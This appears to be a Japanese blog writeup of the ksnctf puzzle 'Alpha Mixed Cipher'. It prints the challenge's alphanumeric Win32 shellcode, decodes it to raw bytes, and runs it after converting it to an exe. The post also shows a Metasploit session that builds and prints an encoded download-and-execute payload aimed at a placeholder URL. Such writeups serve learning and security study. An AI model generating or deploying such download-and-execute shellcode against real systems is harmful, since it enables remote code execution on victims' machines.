なんかやろう

書くことがあったら書く場所

ksnctfの「Alpha Mixed Cipher」を解いた!!!!!!

警告 : Writeup...

ネタバレwriteupなので解いていない方は気を付けてくだしあ

去年(2015年)頃から取り組みつつも方針がなかなか掴めなかったksnctfの「Alpha Mixed Cipher」という問題についてです。
ずーーーーっと悩んでましたがこの度正答するに至ったため、喜び半分でこれを書こうと思った次第です。

ksnctf.sweetduet.info





















まずは問題文ですが、

VTX630VXH49HHHPhYAAQhZYYYYAAQQDDDd36FFFFTXVj0PPTUPPa301089IIIIIIIIIIIIIIIII7QZjAXP0A 0AkAAQ2AB2BB0BBABXP8ABuJIn9hkokN944VDxtfQkbh2CG6QyYE4nkpqp0lKBVtLlKpvULnksvs8LKQnwPn k5ffXPOWhd5JSQIUQN1iokQu0nk2LfD4dNk2egLNkBt4h1h6a9zlKBjR8NkBzQ07qJKysdt3ynkvTLKuQHnp 1yoTqYP9lLlk49PD4WwYQxODMeQxGjKHtGK1lWTa8T5iqLKaJetS1JKCVnkTL0KlKqJwlvaJKlKvdlKFaM8L Irdtdglu18CH26hgYztlI8elIYRrHnnrntNzLQBZHooyoYoIoMY3ugtMk1nN8xbqclG7lFDF2kXnniokOyon iG5eXcXRLplGP2a58ecp26NqtrHT543e5BRK8slfDgzmYzFSfyo2uVdmYzbF0oK98lbrmoLLGUL14qBkXqqy oyoio3X0obXrx5pbHsQRGqusrphbmBE2S3C01iKk8QL5tDJOyXcrHQe0XgPepqxTvpovX42U8CIaqBKQSE8s FRTdsEde81OVRaX60bHPFblsqw76QIYoxRl7TGeNiKQtqXR0R2s0Q1BkOxP4qiP0PkOceWxAA

は?

と最初の頃はなっており、全く意味が分かりませんでした。

そのまま放置してたのですがいい加減手を付けようとしたのがだいたい去年頃。


この文字列の最初の方を検索してみたりタイトルで検索した結果、ももいろテクノロジーさんのサイトを発見しました。

x86 alphanumeric shellcodeを書いてみる - ももいろテクノロジー

ここで初めて「alphanumeric shellcode」というものを知る!!!!!!


どうやら、

「英数字以外の文字が入ってるシェルコードを棄却するような設定にしているサーバへシェルコードを送りつけようとする際に有効な手段」らしい。

要するに「英数字のみ(0x30-39, 0x41-5a, 0x61-7a)で構成されたシェルコード」を作ること。

使える命令が制限されるのでパズルみたいに命令を組み合わせて目的の動作をさせる。



おお、これじゃね!?と思い、これを元に色々ぐーぐる……

ぐーぐる……

ぐーぐる……

うーん、分からん……また今度やろう、となったのも去年頃。



それから約一年経ち、また挑戦意欲が湧いて来たのが今年2016年夏!!

ググラビリティを上げ舞い戻ってきたことで、最初のVTX630~辺りが「Win32 SEH GetPC code」であるらしいことが分かった!

Alphanumeric GetPC Code and Shellcode Encoder-Decoder


VTX630VXH49HHHPhYAAQhZYYYYAAQQDDDd36FFFFTXVj0PPTUPPa301089 = Win32 SEH GetPC code!!


…で、Win32 SEH GetPC codeってナンダ?

-> 調べたけど結局よく分からず……なんかSEHがexceptionした時のアドレスをEIPに持ってくる???実行時のシェルコードのアドレスがうんたらかんたら……


まぁとりあえず、Windowsで動くシェルコードらしいというのが分かった!




その後の部分も色々と見ていき、それっぽい記述は見つかるものの正直よくわからん……

IIIIIIIIIIIIIIIII7QZ = ecx code ???なんだこれ???ecxが欲しいのか?

jAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI = decoder ???何をデコードするんだ???



色々調べてみる内に、このタイプのalphanumeric shellcodeは大抵

VTX630~~のWin32SEHGetPCcode + IIII...7QZってやつ + jA~~のdecoder + 謎の文字列達

という構造になっているのに気付く。


ふむ~、多分この謎の文字列達にFLAGがあるんだろうなぁ、と言うのは分かるが、機械語に直したりしてもなんか意味不明……



また、この時alphanumeric shellcodeがMetasploitの機能の一つであることを知り、インストールや色々してみる。

タイトルはx86/alpha_mixedから来てたのか~~~ということも知る。が、正直Metasploitを用いてもあまり理解できず…(エンコードは出来るしそれっぽいshellは吐くけど、仕組みがヨクワカラナイ…)

msf > use payload/windows/download_exec
msf payload(download_exec) > set URL http://hogemoge.com
URL => http://hogemoge.com
msf payload(download_exec) > set BufferRegister ECX
BufferRegister => ECX
msf payload(download_exec) > generate -t raw -e x86/alpha_mixed
IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIkLzHoyc0S0GpcPmYjEDqjr0dlKv2vPlKf2TLNk1B24NkbRexFooGCzvFUaKOtqO0ll7L51SL7rfLupO1HO6mc1ZgIrzPbrrwNkV2tPlK3r5lGqn0LKG0Pxk5o02TBjs1ZpPPLKG8vxNkaHgPUQ8SisGLCyLKDtnkwqYF4qyo01IPllo1jofmc1ZgdxYpRUKD7sSM8xgKQmEt3EkRF8lKshUtc1YC56LK6lBkNkrx5LEQ9Cnks4lK31jpMY74wT5t3k1Kpa2y3jrqYoYpRxsoqJnkgbXkmVQMbHBN55BTuP3Xt72IpnpiNizFsdu80LRWTfC79oYE01kO1GQGBwcg66cXFZF6qi97KOxUzK50Sk5aYYSaPQrJ333abqcZBpv32p0hRwLIooKvioyEZKBov9VQhR3be85PWB1pmT3bF2CbV1SbPPSXXkseTn5kIoJuMYhF2JdPaK3XK0ec5P5Pk9m0RJvdBpazGosfBHQe0FMNmVYoKeUayosgaG67PWQFu8FMWvVxCKyoYENeO045WdBkfolDt1C0uP7pzKKayyosePePUPjHNLyoIoiogpJKpktqKpSorp0jERcZgrF0bJwrQzeRbwu8zzXvZzRoIoJuJ3dqKpcVx8vdUSuyzdQDlMrlfD5XVQKpODS3BpF1QF587bZ6oyyrkOxUmUkpd4DmaHlEkpad7f0jC0PT2pLMrd4dDL0P1C2H4mV7LnskyoKek3JLeT8kxNscrHJflVLGcb9o9E1zWpF7CXTqnkpomWKOke2JUP1xHph5Lb66kON5ZHNpkO9oioD2qe0nsTfQeaVNquSH55WpM8tSKO9oioCXPocWauRMROawQu6N1srOpmWpAA

う~~~~~~ん……





と、ここで「decoder」の存在に気付く。

「あれ?decoderって、もしかしてこの謎の文字列をデコードしてちゃんとしたシェルコードに戻す役割なんじゃね?」


The Los Hackers: Decode the shell code encoded by Alpha2

こちらのサイトにもなんかそれっぽい事が。

「VTXとかIIIIIとかdecoderとか除いて残った謎の文字列を、decoderでデコードすればシェルコード得られるよんw」みたいな事が。

試しに上記のサイトにあるCのソースコードを拝借して、残った謎の文字列達をこれにかけてみた。

$ echo n9hkokN944VDxtfQkbh2CG6QyYE4nkpqp0lKBVtLlKpvULnksvs8LKQnwPnk5ffXPOWhd5JSQIUQN1iokQu0nk2LfD4dNk2egLNkBt4h1h6a9zlKBjR8NkBzQ07qJKysdt3ynkvTLKuQHnp1yoTqYP9lLlk49PD4WwYQxODMeQxGjKHtGK1lWTa8T5iqLKaJetS1JKCVnkTL0KlKqJwlvaJKlKvdlKFaM8LIrdtdglu18CH26hgYztlI8elIYRrHnnrntNzLQBZHooyoYoIoMY3ugtMk1nN8xbqclG7lFDF2kXnniokOyoniG5eXcXRLplGP2a58ecp26NqtrHT543e5BRK8slfDgzmYzFSfyo2uVdmYzbF0oK98lbrmoLLGUL14qBkXqqyoyoio3X0obXrx5pbHsQRGqusrphbmBE2S3C01iKk8QL5tDJOyXcrHQe0XgPepqxTvpovX42U8CIaqBKQSE8sFRTdsEde81OVRaX60bHPFblsqw76QIYoxRl7TGeNiKQtqXR0R2s0Q1BkOxP4qiP0PkOceWxAA > nazo_mojiretsu
$ gcc decoder.c
$ ./a.out < nazo_mojiretsu
\xD9\xEB\x9B\xD9\x74\x24\xF4\x31\xD2\xB2\x77\x31\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B\x76\x1C\x8B\x46\x08\x8B\x7E\x20\x8B\x36\x38\x4F\x18\x75\xF3\x59\x01\xD1\xFF\xE1\x60\x8B\x6C\x24\x24\x8B\x45\x3C\x8B\x54\x28\x78\x01\xEA\x8B\x4A\x18\x8B\x5A\x20\x01\xEB\xE3\x34\x49\x8B\x34\x8B\x01\xEE\x31\xFF\x31\xC0\xFC\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x01\xC7\xEB\xF4\x3B\x7C\x24\x28\x75\xE1\x8B\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B\x5A\x1C\x01\xEB\x8B\x04\x8B\x01\xE8\x89\x44\x24\x1C\x61\xC3\xB2\x08\x29\xD4\x89\xE5\x89\xC2\x68\x8E\x4E\x0E\xEC\x52\xE8\x9F\xFF\xFF\xFF\x89\x45\x04\xBB\x7E\xD8\xE2\x73\x87\x1C\x24\x52\xE8\x8E\xFF\xFF\xFF\x89\x45\x08\x68\x6C\x6C\x20\x41\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x88\x5C\x24\x0A\x89\xE6\x56\xFF\x55\x04\x89\xC2\x50\xBB\xA8\xA2\x4D\xBC\x87\x1C\x24\x52\xE8\x61\xFF\xFF\xFF\x68\x6F\x78\x58\x20\x68\x61\x67\x65\x42\x68\x4D\x65\x73\x73\x31\xDB\x88\x5C\x24\x0A\x89\xE3\x68\x75\x58\x20\x20\x68\x36\x6F\x38\x72\x68\x79\x61\x6B\x43\x68\x76\x74\x33\x34\x68\x5F\x32\x48\x50\x68\x46\x4C\x41\x47\x31\xC9\x88\x4C\x24\x15\x89\xE1\x31\xD2\x52\x53\x51\x52\xFF\xD0\x31\xC0\x50\xFF\x55\x08\x51\x5F

なんか良い感じになった!

これがシェルコードらしいが、windows環境で実行シたいため「shellcode2exe」を用いてexeに変換し、windows上で実行!

f:id:shimenawa:20160819005544p:plain

うおおおおおおおおおおおおおおおお!!!

FLAGゲット!!!!!!!!

80ptsなのにめっちゃ苦労した……














まとめ


なんとか解けました。

正直あんまり分かってない部分も多いですが(最後のデコーダをCのコードに直す部分がなぜこういう動作になるかとか)、後の課題とします…

問題のまとめ

  1. 問題文は「alphanumeric shellcode」である
  2. 問題文のプレフィックスを除いた部分をデコードし、exe化して実行するとFLAG